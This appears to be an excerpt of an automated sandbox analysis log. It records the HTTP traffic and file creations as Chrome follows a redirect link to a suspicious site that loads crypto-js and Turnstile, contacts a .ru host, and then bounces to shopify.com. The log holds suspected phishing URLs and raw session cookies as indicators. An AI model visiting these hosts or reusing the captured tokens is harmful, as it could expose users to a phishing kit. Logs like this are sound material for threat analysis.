Source: global traffic	HTTP traffic detected: GET /?https://78tnC.seren1.com/78tnC/ HTTP/1.1Host: href.liConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /78tnC/ HTTP/1.1Host: 78tnc.seren1.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://78tnc.seren1.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://78tnc.seren1.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://78tnc.seren1.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/7a55c9ccbaaa/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://78tnc.seren1.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 78tnc.seren1.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://78tnc.seren1.com/78tnC/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjR5czdFK3Q1NjNrNENwakd5UitrUGc9PSIsInZhbHVlIjoiTlg0T0RHREswdkRxeXdyb1lRWjUzcUZLRE5XOUhMMnpSMk5LMXRhVXFKWWFnUVdmaWhrOXBXb0xsM3g3Y1gxcEtEVnJldVdVYVQwejVzT3JMZmdHbjZNYTdaQWJxcWwraUExU1F5N1lhYTcxQmZoZmdsYXpXV0VkNnNEMjFNd1YiLCJtYWMiOiI1YTJhODBmNzFmNTQzNzVkMDYwYzhiOWMyZTczNzhjZjUwZmM4ZGUzZmM1MmQ0NDYxYzM5OGE1MTJkNWYyZTZiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVHaHFSS3J6T3NZTElrNTRmWk9QRGc9PSIsInZhbHVlIjoiOVpqcTd3QWZQYzdnZDRvN25ZbXJxODg5NXpRUVNvYnNtd0duQ1Z1dzBRYnVhU1I4OWZEbjlXVVY1TEN3L2xRMmxHNXNrNzQrVWJ4WkJlU2czN2J0QWcxRis5N2E0OVVMNGcrTXc4enhCUUhnN0FZV09mN1lha2k1YlpnaGV0UXMiLCJtYWMiOiJiMWNmZjgxYTA1MjM0ZjdmOGU5ZTkzMThjYTViMDQwN2Y3MTNlYzBhOGE5ODcwOTc3ZTJkNGUwMDkwZDIyNmRhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/7a55c9ccbaaa/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ADostXYDTBXJWsKPYixBAOLWNHLZPPGKTMPTIBIZLCMIGNZMVQHZGNHNKWZTWSNJGKSBYAXUW HTTP/1.1Host: t2fhl.25bvnw8.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://78tnc.seren1.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://78tnc.seren1.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://78tnc.seren1.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ADostXYDTBXJWsKPYixBAOLWNHLZPPGKTMPTIBIZLCMIGNZMVQHZGNHNKWZTWSNJGKSBYAXUW HTTP/1.1Host: t2fhl.25bvnw8.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/home-C4Xd6kgh.css HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.shopify.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _shopify_s=a3a3e416-7d7e-4d2e-b201-a4f48b43a15e; _shopify_y=89764f98-2364-4d3d-859e-2d922480adfc; v:a:3=%7B%22f26d51d8e08fc567afe5eb1bdd342ffc%22%3A%7B%22variant%22%3A%22treatment%22%2C%22createdAt%22%3A1720762045025%7D%2C%22bf3f8ca19c456cd062f6209fc0ade2f4%22%3A%7B%22variant%22%3A%22control%22%2C%22createdAt%22%3A1720762045025%7D%7D
Source: global traffic	HTTP traffic detected: GET /static/fonts/ShopifySans--regular.woff2 HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.shopify.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b/shopify-brochure2-assets/339113bc828c2c7ab760a434e1703b93.webp?originalWidth=3840&originalHeight=2160&width=1920&height=1080 HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.shopify.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _shopify_s=a3a3e416-7d7e-4d2e-b201-a4f48b43a15e; _shopify_y=89764f98-2364-4d3d-859e-2d922480adfc; v:a:3=%7B%22f26d51d8e08fc567afe5eb1bdd342ffc%22%3A%7B%22variant%22%3A%22treatment%22%2C%22createdAt%22%3A1720762045025%7D%2C%22bf3f8ca19c456cd062f6209fc0ade2f4%22%3A%7B%22variant%22%3A%22control%22%2C%22createdAt%22%3A1720762045025%7D%7D
Source: global traffic	HTTP traffic detected: GET /static/fonts/ShopifySans--medium.woff2 HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.shopify.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/fonts/ShopifySans--bold.woff2 HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.shopify.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b/shopify-brochure2-assets/59c9580201098febc263baf2cf90550b.png?width=636&height=636,%20https://cdn.shopify.com/b/shopify-brochure2-assets/59c9580201098febc263baf2cf90550b.png%20x2 HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.shopify.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _shopify_s=a3a3e416-7d7e-4d2e-b201-a4f48b43a15e; _shopify_y=89764f98-2364-4d3d-859e-2d922480adfc; v:a:3=%7B%22f26d51d8e08fc567afe5eb1bdd342ffc%22%3A%7B%22variant%22%3A%22treatment%22%2C%22createdAt%22%3A1720762045025%7D%2C%22bf3f8ca19c456cd062f6209fc0ade2f4%22%3A%7B%22variant%22%3A%22control%22%2C%22createdAt%22%3A1720762045025%7D%7D
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/entry.client-BDTyUUaS.js HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/components-DwD1qlyF.js HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/I18N-Ck5GeKaj.js HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/Wrapper-Dmy0DRUx.js HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/entry.client-BDTyUUaS.js HTTP/1.1Host: cdn.shopify.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _shopify_s=a3a3e416-7d7e-4d2e-b201-a4f48b43a15e; _shopify_y=89764f98-2364-4d3d-859e-2d922480adfc; v:a:3=%7B%22f26d51d8e08fc567afe5eb1bdd342ffc%22%3A%7B%22variant%22%3A%22treatment%22%2C%22createdAt%22%3A1720762045025%7D%2C%22bf3f8ca19c456cd062f6209fc0ade2f4%22%3A%7B%22variant%22%3A%22control%22%2C%22createdAt%22%3A1720762045025%7D%7D
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/Provider-Ddc6IPzg.js HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/root-CLbMCARx.js HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/layout-2BXNwK66.js HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b/shopify-brochure2-assets/59c9580201098febc263baf2cf90550b.png?width=636&height=636,%20https://cdn.shopify.com/b/shopify-brochure2-assets/59c9580201098febc263baf2cf90550b.png%20x2 HTTP/1.1Host: cdn.shopify.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _shopify_s=a3a3e416-7d7e-4d2e-b201-a4f48b43a15e; _shopify_y=89764f98-2364-4d3d-859e-2d922480adfc; v:a:3=%7B%22f26d51d8e08fc567afe5eb1bdd342ffc%22%3A%7B%22variant%22%3A%22treatment%22%2C%22createdAt%22%3A1720762045025%7D%2C%22bf3f8ca19c456cd062f6209fc0ade2f4%22%3A%7B%22variant%22%3A%22control%22%2C%22createdAt%22%3A1720762045025%7D%7D
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure2/production/fonts/IBMPlexMono--semibold.woff2 HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdn.shopify.com/shopifycloud/brochure-iii/production/assets/home-C4Xd6kgh.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/I18N-Ck5GeKaj.js HTTP/1.1Host: cdn.shopify.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _shopify_s=a3a3e416-7d7e-4d2e-b201-a4f48b43a15e; _shopify_y=89764f98-2364-4d3d-859e-2d922480adfc; v:a:3=%7B%22f26d51d8e08fc567afe5eb1bdd342ffc%22%3A%7B%22variant%22%3A%22treatment%22%2C%22createdAt%22%3A1720762045025%7D%2C%22bf3f8ca19c456cd062f6209fc0ade2f4%22%3A%7B%22variant%22%3A%22control%22%2C%22createdAt%22%3A1720762045025%7D%7D
Source: global traffic	HTTP traffic detected: GET /b/shopify-brochure2-assets/339113bc828c2c7ab760a434e1703b93.webp?originalWidth=3840&originalHeight=2160&width=1920&height=1080 HTTP/1.1Host: cdn.shopify.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _shopify_s=a3a3e416-7d7e-4d2e-b201-a4f48b43a15e; _shopify_y=89764f98-2364-4d3d-859e-2d922480adfc; v:a:3=%7B%22f26d51d8e08fc567afe5eb1bdd342ffc%22%3A%7B%22variant%22%3A%22treatment%22%2C%22createdAt%22%3A1720762045025%7D%2C%22bf3f8ca19c456cd062f6209fc0ade2f4%22%3A%7B%22variant%22%3A%22control%22%2C%22createdAt%22%3A1720762045025%7D%7D
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/route-DocjeTwZ.js HTTP/1.1Host: cdn.shopify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.shopify.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shopifycloud/brochure-iii/production/assets/components-DwD1qlyF.js HTTP/1.1Host: cdn.shopify.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _shopify_s=a3a3e416-7d7e-4d2e-b201-a4f48b43a15e; _shopify_y=89764f98-2364-4d3d-859e-2d922480adfc; v:a:3=%7B%22f26d51d8e08fc567afe5eb1bdd342ffc%22%3A%7B%22variant%22%3A%22treatment%22%2C%22createdAt%22%3A1720762045025%7D%2C%22bf3f8ca19c456cd062f6209fc0ade2f4%22%3A%7B%22variant%22%3A%22control%22%2C%22createdAt%22%3A1720762045025%7D%7D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 12 Jul 2024 05:27:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BGG%2FT1IfJ%2B8eVuYCzd5gepLu8g%2FJVJMCyJItv8jjFC2WcC44W57DwYyI5ii8PQZSPzE4OM%2FTy%2BZWoZQGb61mWVBFuSxQyngg2UwiI0JSIGeEu303CVzn3vaLR7X6Nw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400CF-Cache-Status: HITAge: 2690Server: cloudflareCF-RAY: 8a1e9faacc7c335a-EWR
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenAccess-Control-Allow-Methods: GET, PUT, POSTAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: ETag, X-CDNAccess-Control-Max-Age: 3000Content-Type: text/htmlDate: Fri, 12 Jul 2024 05:28:08 GMTServer: ECAcc (lhc/7965)X-CDN: edgecastContent-Length: 345Connection: close

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_828224280	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_828224280\sets.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_828224280\manifest.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_828224280\LICENSE	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_828224280\_metadata\	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_828224280\_metadata\verified_contents.json	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping6540_828224280\manifest.fingerprint	Jump to behavior
